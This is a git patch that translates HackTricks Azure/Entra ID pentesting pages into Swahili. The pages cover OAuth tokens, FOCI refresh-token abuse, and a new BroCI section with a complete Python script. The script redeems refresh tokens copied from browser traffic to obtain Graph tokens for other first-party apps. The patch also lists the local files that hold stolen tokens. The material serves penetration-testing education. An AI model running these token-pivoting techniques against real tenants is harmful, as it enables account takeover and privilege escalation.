From acde0cf149b9466cba90d0184a13e2e6f32d4dac Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 1 Mar 2026 20:17:39 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-basic-informatio --- .../az-tokens-and-public-applications.md | 475 +++++++++++++++--- .../az-entraid-privesc/README.md | 199 ++++++-- .../azure-security/az-services/az-azuread.md | 215 +++++--- 3 files changed, 702 insertions(+), 187 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d9235da8b..16203f840 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -2,99 +2,99 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -Entra ID ni jukwaa la Microsoft la utambulisho na usimamizi wa ufikiaji (IAM) linalotegemea wingu, likitumika kama mfumo wa msingi wa uthibitishaji na idhini kwa huduma kama Microsoft 365 na Azure Resource Manager. Azure AD inautekeleza fremu ya idhini ya OAuth 2.0 na itifaki ya uthibitishaji OpenID Connect (OIDC) kusimamia ufikiaji wa rasilimali. +Entra ID ni jukwaa la Microsoft la identity na access management (IAM) mliopo kwenye cloud, likiwa mfumo wa msingi wa uthibitishaji na uidhinishaji kwa huduma kama Microsoft 365 na Azure Resource Manager. Azure AD inaendesha OAuth 2.0 authorization framework na protocol ya OpenID Connect (OIDC) kwa kusimamia ufikiaji wa rasilimali. ### OAuth -**Key Participants in OAuth 2.0:** +**Washiriki Wakuu katika OAuth 2.0:** -1. **Resource Server (RS):** Linalinda rasilimali zinazomilikiwa na mmiliki wa rasilimali. -2. **Resource Owner (RO):** Kwa kawaida ni mtumiaji wa mwisho ambaye anamiliki rasilimali zilizolindwa. -3. **Client Application (CA):** Programu inayotafuta ufikiaji wa rasilimali kwa niaba ya mmiliki wa rasilimali. -4. **Authorization Server (AS):** Hutoa access tokens kwa client applications baada ya kuzi-authenticate na kuzipa idhini. +1. **Resource Server (RS):** Hulinda rasilimali zinazomilikiwa na resource owner. +2. **Resource Owner (RO):** Kwa kawaida mtumiaji wa mwisho ambaye anamiliki rasilimali zilizo salama. +3. **Client Application (CA):** Programu inayotafuta ufikiaji wa rasilimali kwa niaba ya resource owner. +4. **Authorization Server (AS):** Hutolewa access tokens kwa client applications baada ya kuwatambua na kuwaidhinisha. -**Scopes and Consent:** +**Scopes na Idhini:** -- **Scopes:** Ruhusa za kiwango-kipande zimetambulishwa kwenye resource server zinazoonyesha viwango vya ufikiaji. -- **Consent:** Mchakato ambapo mmiliki wa rasilimali anampa client application ruhusa ya kufikia rasilimali kwa scopes maalum. +- **Scopes:** Ruhusa za undani zilizoainishwa kwenye resource server zinazobainisha ngazi za ufikiaji. +- **Consent:** Mchakato ambao resource owner anampa client application ruhusa za kufikia rasilimali kwa scopes maalum. -**Microsoft 365 Integration:** +**Muunganisho wa Microsoft 365:** -- Microsoft 365 inatumia Azure AD kwa IHAM na imeundwa kwa applications nyingi za "first-party". -- Applications hizi zimeunganishwa kwa kina na mara nyingi zina uhusiano wa huduma ambao hutegemeana. -- Ili kurahisisha uzoefu wa mtumiaji na kudumisha utendakazi, Microsoft huwapa applications hizi za first-party "implied consent" au "pre-consent". -- **Implied Consent:** Programu fulani hupata kiotomatiki **access kwa scopes maalum bila idhini ya wazi ya mtumiaji au msimamizi**. -- Scopes hizi zilizotanguliwa kwa kawaida huwa zimefichwa kwa watumiaji na wasimamizi, na hivyo kuwa zisizoonekana sana katika interfaces za usimamizi za kawaida. +- Microsoft 365 inatumia Azure AD kwa IAM na inajumuisha programu nyingi za OAuth za "first-party". +- Programu hizi zimetumika kwa karibu na mara nyingi zina uhusiano wa huduma unategemeana. +- Ili kurahisisha uzoefu wa mtumiaji na kudumisha utendakazi, Microsoft inatoa "implied consent" au "pre-consent" kwa programu hizi za first-party. +- **Implied Consent:** Programu fulani hupata kwa kiotomatiki **ufikiaji wa scopes maalum bila idhini wazi ya mtumiaji au msimamizi**. +- Scopes hizi zilizotanguliwa kwa kawaida hujificha kutokana na watumiaji na wasimamizi, na kufanya zioneke kidogo kwenye interfaces za kawaida za usimamizi. -**Client Application Types:** +**Aina za Client Application:** 1. **Confidential Clients:** -- Zinamiliki credentials zao (mfano, passwords au certificates). -- Zinaweza **kuji-authenticate kwa usalama** kwa authorization server. +- Wanamiliki credentials zao (mfano, nywila au vyeti). +- Wanaweza **kujithibitisha kwa usalama** kwa authorization server. 2. **Public Clients:** -- Hazina credentials za kipekee. -- Haziwezi kujithibitisha kwa usalama kwa authorization server. -- **Security Implication:** Mdukuzi anaweza kujigawa kama public client application anapofanya maombi ya tokens, kwani hakuna mekanismi kwa authorization server kuthibitisha uhalali wa application. +- Haina credentials za kipekee. +- Hawawezi kujithibitisha kwa usalama kwa authorization server. +- **Athari za Usalama:** Mshambulizi anaweza kujifanya kuwa public client application anapotaka tokens, kwani hakuna njia kwa authorization server kuthibitisha uhalali wa programu. -## Authentication Tokens +## Tokens za Uthibitishaji Kuna **aina tatu za tokens** zinazotumika katika OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Mteja huwasilisha token hii kwa resource server ili **kupata rasilimali**. Inaweza kutumika tu kwa mchanganyiko maalum wa mtumiaji, client, na rasilimali na **haiwezi kufutwa** hadi itakapotia muda - kawaida ni saa 1 kwa default. -- **ID Tokens**: Mteja hupokea token hii kutoka kwa authorization server. Ina taarifa za msingi kuhusu mtumiaji. Imefungamana na mchanganyiko maalum wa mtumiaji na client. -- **Refresh Tokens**: Zinapotolewa kwa mteja pamoja na access token. Zinatumika kupata **access na ID tokens mpya**. Zimefungamana na mchanganyiko maalum wa mtumiaji na client na zinaweza kufutwa. Muda wa default wa kumalizika ni **siku 90** kwa refresh tokens zisizotumika na **hakuna kumalizika kwa tokens zinazoendelea** (kutokana na refresh token inawezekana kupata refresh tokens mpya). -- Refresh token inapaswa kuhusishwa na `aud`, na baadhi ya **scopes**, na kwa **tenant**, na inapaswa tu kuweza kuzalisha access tokens kwa aud hiyo, scopes hizo (na si zaidi) na tenant. Hata hivyo, hili si kawaida kwa **FOCI applications tokens**. -- Refresh token imefichwa (encrypted) na ni Microsoft pekee inaweza kuisomea (decrypt). -- Kupata refresh token mpya hakufutili otomatiki refresh token ya awali. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Client huwasilisha token hii kwa resource server ili **kupata rasilimali**. Inaweza kutumika tu kwa mchanganyiko maalum wa mtumiaji, client, na rasilimali na **haiwezi kuingiliwa ili kuharibiwa** hadi itakapofikia muda wake - yaani saa 1 kwa chaguo-msingi. +- **ID Tokens**: Client hupokea token hii kutoka kwa authorization server. Ina taarifa za msingi kuhusu mtumiaji. Imefungwa kwa mchanganyiko maalum wa mtumiaji na client. +- **Refresh Tokens**: Hutolewa kwa client pamoja na access token. Inatumika kupata **access na ID tokens mpya**. Imefungwa kwa mchanganyiko maalum wa mtumiaji na client na inaweza kuingiliwa. Muda wa kumalizika kwa chaguo-msingi ni **siku 90** kwa refresh tokens zisizotumika na **hakuna kumalizika kwa tokens zenye shughuli** (kwa sababu kutoka kwa refresh token inawezekana kupata refresh tokens mpya). +- Refresh token inapaswa kuunganishwa na `aud`, kwa baadhi ya **scopes**, na kwa **tenant** na inapaswa kuweza kuzalisha access tokens kwa aud, scopes (na si zaidi) na tenant hiyo tu. Hata hivyo, hii si kawaida kwa **FOCI applications tokens**. +- Refresh token imefichwa kwa encryption na ni Microsoft pekee inaweza kuifungua. +- Kupata refresh token mpya hakuharibu refresh token iliyotangulia. > [!WARNING] -> Taarifa za **conditional access** zinawekwa ndani ya **JWT**. Kwa hiyo, kama utaomba **token kutoka kwa anwani ya IP iliyoruhusiwa**, anwani hiyo ya **IP** itawekwa ndani ya token na baadaye unaweza kutumia token hiyo kutoka anwani ya **IP isiyoruhusiwa** kufikia rasilimali. +> Taarifa za **conditional access** **zimehifadhiwa** ndani ya **JWT**. Hivyo, ikiwa utaiomba **token kutoka kwa anwani ya IP iliyoruhusiwa**, IP hiyo ita **hifadhiwa** ndani ya token na basi unaweza kutumia token hiyo kutoka kwa **IP isioruhusiwa kufikia rasilimali**. ### Access Tokens "aud" -Uwanja unaoashiriwa katika uwanja wa "aud" ni **resource server** (application) inayotumika kufanya login. +Uwanja unaoonyeshwa katika "aud" ni **resource server** (programu) inayotumika kufanya login. -Amri `az account get-access-token --resource-type [...]` inaunga mkono aina zifuatazo na kila moja yao itaongeza "aud" maalum katika access token inayotokana: +Amri `az account get-access-token --resource-type [...]` inaunga mkono aina zifuatazo na kila moja itauongeza "aud" maalum katika access token inayotokana: > [!CAUTION] -> Kumbuka kwamba yafuatayo ni API ambazo `az account get-access-token` inazisaidia tu lakini kuna zaidi. +> Kumbuka kuwa yafuatayo ni tu API zinazoungiwa mkono na `az account get-access-token` lakini kuna zaidi.
-mfano za aud +aud examples -- **aad-graph (Azure Active Directory Graph API)**: Inatumika kufikia Azure AD Graph API ya zamani (deprecated), ambayo inaruhusu applications kusoma na kuandika data za saraka katika Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Inatumiwa kufikia legacy Azure AD Graph API (deprecated), ambayo inaruhusu programu kusoma na kuandika data ya directory katika Azure Active Directory (Azure AD). - `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Inatumika kusimamia rasilimali za Azure kupitia Azure Resource Manager API. Hii ni pamoja na operesheni kama kuunda, kusasisha, na kufuta rasilimali kama virtual machines, storage accounts, na zaidi. +* **arm (Azure Resource Manager)**: Inatumiwa kusimamia rasilimali za Azure kupitia Azure Resource Manager API. Hii ni pamoja na shughuli kama kuunda, kusasisha, na kufuta rasilimali kama virtual machines, storage accounts, na zaidi. - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Inatumika kufikia Azure Batch, huduma inayorwaa kuendesha programu za hesabu zenye utaratibu mkubwa na utendaji wa juu kwa ufanisi kwenye wingu. +- **batch (Azure Batch Services)**: Inatumiwa kufikia Azure Batch, huduma inayowezesha programu za kiwango kikubwa za parallel na high-performance computing kwa ufanisi kwenye cloud. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Inatumika kuingiliana na Azure Data Lake Storage Gen1, ambayo ni huduma ya kuhifadhi data inayoweza kupanuka kwa ajili ya uchambuzi. +* **data-lake (Azure Data Lake Storage)**: Inatumiwa kuingiliana na Azure Data Lake Storage Gen1, ambayo ni huduma ya kuhifadhi data inayoweza kupanuka na uchambuzi. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: Inatumika kufikia Azure Media Services, zinazotoa huduma za usindikaji wa media na utangazaji kwa video na sauti kwenye wingu. +- **media (Azure Media Services)**: Inatumiwa kufikia Azure Media Services, zinazotoa usindikaji wa media na utoaji wa video na audio ulio kwenye cloud. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Inatumika kufikia Microsoft Graph API, sehemu moja ya mwisho (unified endpoint) kwa data za huduma za Microsoft 365. Inakuwezesha kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama. +* **ms-graph (Microsoft Graph API)**: Inatumiwa kufikia Microsoft Graph API, endpoint iliyounganishwa kwa data za huduma za Microsoft 365. Inakuwezesha kupata data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama. - `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Inatumika kufikia huduma za Database za Azure kwa engines za relational za chanzo wazi kama MySQL, PostgreSQL, na MariaDB. +- **oss-rdbms (Azure Open Source Relational Databases)**: Inatumiwa kufikia huduma za Database za Azure kwa engines za relational za open-source kama MySQL, PostgreSQL, na MariaDB. - `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -Scope ya access token imehifadhiwa ndani ya ufunguo wa scp ndani ya access token JWT. Scopes hizi zinaelezea ni nini access token inaweza kufikia. +Scope ya access token imehifadhiwa ndani ya ufunguo scp ndani ya access token JWT. Scopes hizi zinaelezea ni nini access token inaruhusiwa kufikia. -Kama JWT imepewa ruhusa ya kuwasiliana na API maalum lakini **hainayo scope** za kutekeleza kitendo kilichoombwa, haitakuwa na uwezo wa kutekeleza kitendo hicho kwa JWT hiyo. +Ikiwa JWT inaruhusiwa kuwasiliana na API maalum lakini **haina scope** ya kufanya hatua iliyohitajika, haitakuwa na uwezo wa kufanya hatua hiyo kwa JWT hiyo. -### Get refresh & access token example +### Mfano wa kupata refresh & access token ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -146,29 +146,30 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ### Other access token fields -- **appid**: Application ID iliyotumika kuzalisha token +- **appid**: ID ya programu inayotumika kuzalisha token - **appidacr**: The Application Authentication Context Class Reference inaonyesha jinsi client ilivyothibitishwa; kwa public client thamani ni 0, na ikiwa client secret imetumika thamani ni 1 -- **acr**: The Authentication Context Class Reference claim ni "0" wakati uthibitishaji wa end-user haukukidhi mahitaji ya ISO/IEC 29115. -- **amr**: The Authentication method inaonyesha jinsi token ilivyothibitishwa. Thamani ya “pwd” inaonyesha kwamba password ilitumiwa. -- **groups**: Inaonyesha kundi ambazo principal ni mwanachama. -- **iss**: The iss inatambua security token service (STS) iliyotengeneza token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) +- **acr**: The Authentication Context Class Reference claim ni "0" wakati uthibitisho wa mtumiaji wa mwisho haukukidhi mahitaji ya ISO/IEC 29115. +- **amr**: Authentication method inaonyesha jinsi token ilivyothibitishwa. Thamani ya “pwd” inaonyesha kuwa password ilitumika. +- **groups**: Inaonyesha vikundi ambavyo principal ni mwanachama. +- **iss**: Issuer inatambulisha security token service (STS) iliyozalisha token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID) - **oid**: Object ID ya principal - **tid**: Tenant ID -- **iat, nbf, exp**: Issued at (wakati ilipotolewa), Not before (haiwezi kutumika kabla ya wakati huu, kawaida thamani sawa na iat), Expiration time (muda wa kumalizika). +- **iat, nbf, exp**: Issued at (wakati ilitolewa), Not before (haiwezi kutumika kabla ya wakati huu, kawaida thamani sawa na iat), Expiration time. + ## FOCI Tokens Privilege Escalation -Previously ilimetajwa kuwa refresh tokens zinapaswa kuambatanishwa na **scopes** ambazo zilitolewa pamoja nazo, na na **application** na **tenant** kwa ajili ya zilipotengenezwa. Iwapo mojawapo ya mipaka hii itavunjwa, inawezekana kufanya privilege escalation kwani itakuwa inawezekana kuzalisha access tokens kwa rasilimali na tenants vingine ambavyo mtumiaji ana ufikiaji kwao na kwa scopes zaidi kuliko ilikusudiwa awali. +Hapo awali ilitajwa kuwa refresh tokens zinapaswa kuunganishwa na **scopes** zilizozalishwa nazo, na kwa **application** na **tenant** ambazo zilizalishwa. Ikiwa mojawapo ya mipaka hii itavunjika, inawezekana kupandisha vibali kwani kutakuwa na uwezo wa kuzalisha access tokens kwa resources na tenants nyingine ambazo mtumiaji ana ruhusa kwao na zikiwa na zaidi ya **scopes** kuliko ilivyokusudiwa awali. -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Zaidi ya hayo, **hii inawezekana kwa refresh tokens zote** katika [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) kwa sababu kama [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) zinavyotaja: "Refresh tokens zimefungwa kwa mchanganyiko wa user na client, lakini **hazina uhusiano wa moja kwa moja na resource au tenant**. Client inaweza kutumia refresh token kupata access tokens **kwa mchanganyiko wowote wa resource na tenant** ambapo ina ruhusa kufanya hivyo. Refresh tokens zimefichwa (encrypted) na ni Microsoft identity platform pekee inaweza kuzisoma." -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +Zaidi ya hayo, kumbuka kuwa FOCI applications ni public applications, hivyo **hakuna secret inahitajika** ili kuthibitisha kwenye server. -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Kisha FOCI clients zilizojulikana zilizoripotiwa katika [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) zinaweza [**kupatikana hapa**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). ### Get different scope -Kufuata mfano wa code uliotangulia, katika code hii ombi limefanywa la token mpya kwa scope tofauti: +Kwa kuendelea na mfano wa code uliotangulia, katika code hii inaomba token mpya kwa scope tofauti: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -185,7 +186,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Pata mteja na mawigo tofauti +### Pata client na scopes tofauti ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") @@ -201,30 +202,360 @@ scopes=["https://graph.microsoft.com/.default"], # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` -## Wapi kupata token +## NAA / BroCI (Nested App Authentication / Broker Client Injection) -Kutoka mtazamo wa mshambulizi ni muhimu sana kujua wapi inawezekana kupata token za ufikiaji (access tokens) na token za upya (refresh tokens) wakati kwa mfano PC ya mwathirika imedukuliwa: +A BroCI refresh token ni pattern ya brokered token exchange ambapo refresh token iliyopo inatumika pamoja na vigezo vya ziada vya broker ili kuomba tokeni kwa niaba ya app nyingine ya first-party inayotambulika. + +Refresh token hizi lazima zitengenezwe (minted) katika muktadha huo wa broker (refresh token ya kawaida kwa kawaida haiwezi kutumika kama BroCI refresh token). + +### Goal and purpose + +Lengo la BroCI ni kutumia tena session halali ya mtumiaji kutoka kwa mnyororo wa app zenye uwezo wa broker na kuomba tokeni kwa jozi ya app/resource nyingine inayotambulika. Hivyo, kuruhusu "escalate privileges" kutoka kwa tokeni ya awali. + +Kama mtazamo wa mashambulizi, hili ni muhimu kwa sababu: + +- Inaweza kufungua njia za first-party zilizotanguliwa kupewa idhini ambazo hazipatikani kwa kubadilishana refresh za kawaida. +- Inaweza kurudisha access tokens kwa API zenye thamani kubwa (kwa mfano, Microsoft Graph) chini ya utambulisho wa app zenye ruhusa pana za delegated. +- Inapanua fursa za ku-pivot tokeni baada ya authentication zaidi ya kubadili client wa klasik wa FOCI. + +Kinachobadilika katika NAA/BroCI refresh token si muundo unaoonekana wa tokeni, bali muktadha wa utoaji na metadata inayohusiana na broker ambayo Microsoft inathibitisha wakati wa operesheni za refresh zinazofanywa kupitia broker. + +NAA/BroCI token exchanges sio sawa na kubadilishana refresh ya kawaida ya OAuth. + +- Refresh token ya kawaida (kwa mfano iliyopatikana kupitia device code flow) kwa kawaida inatumika kwa operesheni za kawaida za `grant_type=refresh_token`. +- Ombi la BroCI linajumuisha muktadha wa ziada wa broker (`brk_client_id`, broker `redirect_uri`, na `origin`). +- Microsoft inathibitisha kama refresh token iliyowasilishwa ilitengenezwa (minted) katika muktadha wa brokeri unaolingana. +- Kwa hivyo, refresh token nyingi "za kawaida" zinashindwa katika maombi ya BroCI kwa makosa kama `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant"). +- Kwa ujumla huwezi "kubadilisha" refresh token ya kawaida kuwa BroCI‑inayokubalika kwa kutumia code. +- Unahitaji refresh token iliyotolewa tayari na flow ya brokeri inayofaa. + +Angalia wavuti ili kupata apps zilizopangwa kwa BroCI na uhusiano wa kuaminiana waliyonayo. + +### Mental model + +Fikiria BroCI kama: + +`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource` + +Kama sehemu yoyote ya mnyororo huo wa brokeri haitalingana, kubadilishana kutashindwa. + +### Where to find a BroCI-valid refresh token + +Njia moja ya vitendo ni kukusanya trafiki ya portal kwenye browser: + +1. Ingia kwenye `https://entra.microsoft.com` (au Azure portal). +2. Fungua DevTools -> Network. +3. Chuja kwa: +- `oauth2/v2.0/token` +- `management.core.windows.net` +4. Tambua jibu la tokeni lililosimamiwa na broker na nakili `refresh_token`. +5. Tumia refresh token hiyo pamoja na vigezo vinavyolingana vya BroCI (`brk_client_id`, `redirect_uri`, `origin`) wakati wa kuomba tokeni kwa ajili ya apps lengwa (kwa mfano matukio ya ADIbizaUX / Microsoft_Azure_PIMCommon). + +### Common errors + +- `AADSTS900054`: Muktadha wa refresh token hauendani na broker tuple iliyotolewa (`brk_client_id` / `redirect_uri` / `origin`) au tokeni sio kutoka kwa flow ya portal iliyosimamiwa na broker. +- `AADSTS7000218`: Flow ya client iliyochaguliwa inatarajia credential ya siri (`client_secret`/assertion), mara nyingi huonekana unapojaribu device code na client isiyo-public. + +
+Msaidizi wa Python kwa BroCI refresh (broci_auth.py) +```python +#!/usr/bin/env python3 +""" +Python implementation of EntraTokenAid Broci refresh flow. + +Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for: +- brk_client_id +- redirect_uri +- Origin header + +Usage: +python3 broci_auth.py --refresh-token "" + +How to obtain a Broci-valid refresh token (authorized testing only): +1) Open https://entra.microsoft.com and sign in. +2) Open browser DevTools -> Network. +3) Filter requests for: +- "oauth2/v2.0/token" +- "management.core.windows.net" +4) Locate the portal broker token response and copy the "refresh_token" value +(the flow should be tied to https://management.core.windows.net//). +5) Use that token with this script and Broci params: + +python3 broci_auth.py \ +--refresh-token "" \ +--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \ +--tenant "organizations" \ +--api "graph.microsoft.com" \ +--scope ".default offline_access" \ +--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \ +--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \ +--origin "https://entra.microsoft.com" \ +--token-out +""" + +import argparse +import base64 +import datetime as dt +import json +import re +import sys +import urllib.error +import urllib.parse +import urllib.request +from typing import Any + + +GUID_RE = re.compile( +r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" +) +OIDC_SCOPES = {"offline_access", "openid", "profile", "email"} + + +def resolve_api_scope_url(api: str, scope: str) -> str: +""" +Match Resolve-ApiScopeUrl behavior from the PowerShell module. +""" +if GUID_RE.match(api): +base_resource = api +elif api.lower().startswith("urn:") or "://" in api: +base_resource = api +else: +base_resource = f"https://{api}" + +base_resource = base_resource.rstrip("/") + +resolved: list[str] = [] +for token in scope.split(): +if not token.strip(): +continue +if "://" in token: +resolved.append(token) +elif token.lower().startswith("urn:"): +resolved.append(token) +elif token in OIDC_SCOPES: +resolved.append(token) +elif GUID_RE.match(token): +resolved.append(f"{token}/.default") +else: +normalized = ".default" if token in {"default", ".default"} else token +resolved.append(f"{base_resource}/{normalized}") + +return " ".join(resolved) + + +def parse_jwt_payload(jwt_token: str) -> dict[str, Any]: +parts = jwt_token.split(".") +if len(parts) != 3: +raise ValueError("Invalid JWT format.") +payload = parts[1] +padding = "=" * ((4 - len(payload) % 4) % 4) +decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii")) +return json.loads(decoded.decode("utf-8")) + + +def refresh_broci_token( +refresh_token: str, +client_id: str, +scope: str, +api: str, +tenant: str, +user_agent: str, +origin: str | None, +brk_client_id: str | None, +redirect_uri: str | None, +disable_cae: bool, +) -> dict[str, Any]: +api_scope_url = resolve_api_scope_url(api=api, scope=scope) + +headers = { +"User-Agent": user_agent, +"X-Client-Sku": "MSAL.Python", +"X-Client-Ver": "1.31.0", +"X-Client-Os": "win32", +"Content-Type": "application/x-www-form-urlencoded", +} +if origin: +headers["Origin"] = origin + +body: dict[str, str] = { +"grant_type": "refresh_token", +"client_id": client_id, +"scope": api_scope_url, +"refresh_token": refresh_token, +} +if not disable_cae: +body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}' +if brk_client_id: +body["brk_client_id"] = brk_client_id +if redirect_uri: +body["redirect_uri"] = redirect_uri + +data = urllib.parse.urlencode(body).encode("utf-8") +token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" +req = urllib.request.Request(token_url, data=data, headers=headers, method="POST") + +try: +with urllib.request.urlopen(req) as resp: +raw = resp.read().decode("utf-8") +except urllib.error.HTTPError as e: +err_raw = e.read().decode("utf-8", errors="replace") +try: +err_json = json.loads(err_raw) +short = err_json.get("error", "unknown_error") +desc = err_json.get("error_description", err_raw) +raise RuntimeError(f"{short}: {desc}") from None +except json.JSONDecodeError: +raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None + +tokens = json.loads(raw) +if "access_token" not in tokens: +raise RuntimeError("Token endpoint response did not include access_token.") +return tokens + + +def main() -> int: +parser = argparse.ArgumentParser( +description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)." +) +parser.add_argument("--refresh-token", required=True, help="Refresh token (required).") +parser.add_argument( +"--client-id", +default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", +help="Client ID (default: Azure CLI).", +) +parser.add_argument( +"--scope", +default=".default offline_access", +help="Scopes (default: '.default offline_access').", +) +parser.add_argument( +"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)." +) +parser.add_argument("--tenant", default="common", help="Tenant (default: common).") +parser.add_argument( +"--user-agent", +default="python-requests/2.32.3", +help="User-Agent sent to token endpoint.", +) +parser.add_argument("--origin", default=None, help="Optional Origin header.") +parser.add_argument( +"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)." +) +parser.add_argument( +"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)." +) +parser.add_argument( +"--disable-cae", +action="store_true", +help="Disable CAE claims in token request.", +) +parser.add_argument( +"--token-out", +action="store_true", +help="Print access/refresh tokens in output.", +) +parser.add_argument( +"--disable-jwt-parsing", +action="store_true", +help="Do not parse JWT claims.", +) + +args = parser.parse_args() + +print("[*] Sending request to token endpoint") +try: +tokens = refresh_broci_token( +refresh_token=args.refresh_token, +client_id=args.client_id, +scope=args.scope, +api=args.api, +tenant=args.tenant, +user_agent=args.user_agent, +origin=args.origin, +brk_client_id=args.brk_client_id, +redirect_uri=args.redirect_uri, +disable_cae=args.disable_cae, +) +except Exception as e: +print(f"[!] Error: {e}", file=sys.stderr) +return 1 + +expires_in = int(tokens.get("expires_in", 0)) +expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds") +tokens["expiration_time"] = expiration_time + +print( +"[+] Got an access token and a refresh token" +if tokens.get("refresh_token") +else "[+] Got an access token (no refresh token requested)" +) + +if not args.disable_jwt_parsing: +try: +jwt_payload = parse_jwt_payload(tokens["access_token"]) +audience = jwt_payload.get("aud", "") +print(f"[i] Audience: {audience} / Expires at: {expiration_time}") +tokens["scp"] = jwt_payload.get("scp") +tokens["tenant"] = jwt_payload.get("tid") +tokens["user"] = jwt_payload.get("upn") +tokens["client_app"] = jwt_payload.get("app_displayname") +tokens["client_app_id"] = args.client_id +tokens["auth_methods"] = jwt_payload.get("amr") +tokens["ip"] = jwt_payload.get("ipaddr") +tokens["audience"] = audience +if isinstance(audience, str): +tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience)) +if "xms_cc" in jwt_payload: +tokens["xms_cc"] = jwt_payload.get("xms_cc") +except Exception as e: +print(f"[!] JWT parse error: {e}", file=sys.stderr) +return 1 +else: +print(f"[i] Expires at: {expiration_time}") + +if args.token_out: +print("\nAccess Token:") +print(tokens.get("access_token", "")) +if tokens.get("refresh_token"): +print("\nRefresh Token:") +print(tokens["refresh_token"]) + +print("\nToken object (JSON):") +print(json.dumps(tokens, indent=2)) +return 0 + + +if __name__ == "__main__": +raise SystemExit(main()) +``` +
+ +## Wapi pa kupata tokens + +Kutoka kwa mtazamo wa mshambuliaji, ni jambo la kuvutia kujua wapi inawezekana kupata access tokens na refresh tokens, kwa mfano wakati PC ya mwathiriwa imevamiwa: - Inside **`/.Azure`** -- **`azureProfile.json`** contains info about logged in users from the past -- **`clouds.config contains`** info about subscriptions -- **`service_principal_entries.json`** contains applications credentials (tenant id, clients and secret). Only in Linux & macOS -- **`msal_token_cache.json`** contains contains token za ufikiaji (access tokens) na token za upya (refresh tokens). Only in Linux & macOS -- **`service_principal_entries.bin`** and msal_token_cache.bin are used in Windows and are encrypted with DPAPI -- **`msal_http_cache.bin`** is a cache of HTTP request +- **`azureProfile.json`** ina taarifa kuhusu watumiaji waliokuwa wameingia hapo awali +- **`clouds.config contains`** ina taarifa kuhusu subscriptions +- **`service_principal_entries.json`** ina application credentials (tenant id, clients na secret). Tu katika Linux & macOS +- **`msal_token_cache.json`** ina access tokens na refresh tokens. Tu katika Linux & macOS +- **`service_principal_entries.bin`** na `msal_token_cache.bin` zinatumiwa katika Windows na zimefungwa kwa DPAPI +- **`msal_http_cache.bin`** ni cache 